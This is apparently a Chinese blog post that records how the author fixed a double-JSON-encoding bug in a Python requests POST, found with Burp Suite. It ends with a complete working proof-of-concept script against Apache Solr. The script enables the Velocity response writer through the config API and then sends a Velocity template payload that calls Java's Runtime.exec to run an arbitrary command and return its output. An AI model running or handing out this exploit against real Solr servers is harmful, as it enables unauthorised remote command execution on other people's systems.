python3 post json

前些天python3 post出现的小问题做下记录
在调试python3 发送json 的时候总是出现服务器500的错误,找不出原因,就想到是不是我post的内容是不是不符合预期。

def upconf(url,name):
    url = "192.168.30.100:8983"
    name = "db"
    # 设置代理
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = json.dumps(postData),proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

一直显示 500错误

burpsuite 抓取 python requests 数据包

在burpsuite设置的地址和端口要和python的一致。

设置代理后抓包发现,数据包是这样的

POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 246

"{\"update-queryresponsewriter\": {\"startup\": \"lazy\", \"name\": \"velocity\", \"class\": \"solr.VelocityResponseWriter\", \"template.base.dir\": \"\", \"solr.resource.loader.enabled\": \"true\", \"params.resource.loader.enabled\": \"true\"}}"

而我预期是这样的

POST /solr/db/config HTTP/1.1
Host: 192.168.30.100:8983
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 218

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

上网查了下,多了一些转义符("\"),是由于postData 已经是json格式,而不是字符串,在使用json.dumps(postData),相当于两次转换。只需要把这个去掉就行

def upconf(url,name):
    url = "192.168.30.100:8983"
    name = "db"
    # 设置代理
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

完整python3的poc 如下:

import requests
import json
import sys

name = ""

# 获取core_name
def getname(url):
    url = url +  "/solr/admin/cores?wt=json&indexInfo=false"
    conn = requests.request("GET", url=url)
    name = "test"
    try:
        name = list(json.loads(conn.text)["status"])[1]
        print(name)
    except:
        pass
    return name

# 上传修改配置文件
def upconf(url,name):
    proxy = '127.0.0.1:8080'
    proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
    url = url + "/solr/" + name + "/config"
    #print(url)
    headers = {'Content-Type': 'application/json'}
    postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
    postData = {"update-queryresponsewriter": postDataIner}
    conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
    if conn.status_code != 200:
        print("upconf failed",conn.status_code)
        sys.exit(1)

def poc():
    # 目标IP
    url = "http://192.168.30.100:8983"
    # 命令
    cmd = "id"
    name = getname(url)
    upconf(url,name)
    url = url +"/solr/"+name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    conn = requests.request("GET",url)
    print("response:"+conn.text)
    # print(url)
    # print(cmd)
if __name__ == '__main__':
    poc()

小结

排查问题一定要认真。还需要学习补充python post 的其他方式和区别

01-05 13:23